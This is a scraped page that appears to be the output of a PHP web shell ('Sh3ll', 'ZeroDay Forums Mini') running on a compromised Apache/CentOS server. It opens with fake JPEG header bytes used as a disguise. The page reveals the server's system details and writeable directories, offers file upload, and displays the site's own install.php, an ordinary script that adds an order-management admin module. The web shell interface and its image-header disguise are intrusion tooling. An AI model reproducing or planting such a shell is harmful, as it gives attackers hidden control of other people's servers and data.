ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/var/www/html/tien-dien/code/admin/orders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/html/tien-dien/code/admin/orders/install.php
<?php
global $DB, $INFO, $print, $v_lang, $CORE;

// Check if the module already exists
$query = "SELECT * FROM tb_module WHERE module_url = 'act=admin&code=orders'";
$result = $DB->query($query);

if ($DB->get_num_rows() == 0) {
    // Find a suitable category (e.g., "Shop" or "E-commerce")
    $category_id = 0;
    $query_cat = "SELECT * FROM tb_module_category WHERE module_category_name LIKE '%Shop%' OR module_category_name LIKE '%E-commerce%' OR module_category_name LIKE '%Product%'";
    $result_cat = $DB->query($query_cat);
    
    if ($DB->get_num_rows() > 0) {
        $category = $DB->fetch_row($result_cat);
        $category_id = $category['module_category_id'];
    } else {
        // If no suitable category found, use the first category
        $query_first_cat = "SELECT * FROM tb_module_category ORDER BY module_category_pos LIMIT 1";
        $result_first_cat = $DB->query($query_first_cat);
        if ($DB->get_num_rows() > 0) {
            $first_category = $DB->fetch_row($result_first_cat);
            $category_id = $first_category['module_category_id'];
        }
    }
    
    if ($category_id > 0) {
        // Get the highest position in the category
        $query_pos = "SELECT MAX(module_pos) as max_pos FROM tb_module WHERE module_cat = '$category_id'";
        $result_pos = $DB->query($query_pos);
        $row_pos = $DB->fetch_row($result_pos);
        $position = isset($row_pos['max_pos']) ? $row_pos['max_pos'] + 1 : 1;
        
        // Insert the module
        $query_insert = "INSERT INTO tb_module (module_cat, module_name, module_ename, module_url, module_pos, module_status) 
                         VALUES ('$category_id', 'Quản lý đơn hàng', 'Order Management', 'act=admin&code=orders', '$position', 'active')";
        $DB->query($query_insert);
        
        echo '<div class="alert alert-success">Module "Quản lý đơn hàng" đã được thêm vào menu.</div>';
    } else {
        echo '<div class="alert alert-danger">Không tìm thấy danh mục phù hợp để thêm module.</div>';
    }
} else {
    echo '<div class="alert alert-info">Module "Quản lý đơn hàng" đã tồn tại trong menu.</div>';
}

// Redirect after 3 seconds
echo '<script>setTimeout(function(){ window.location.href = "?act=admin&code=orders"; }, 3000);</script>';
exit();
?>

ZeroDay Forums Mini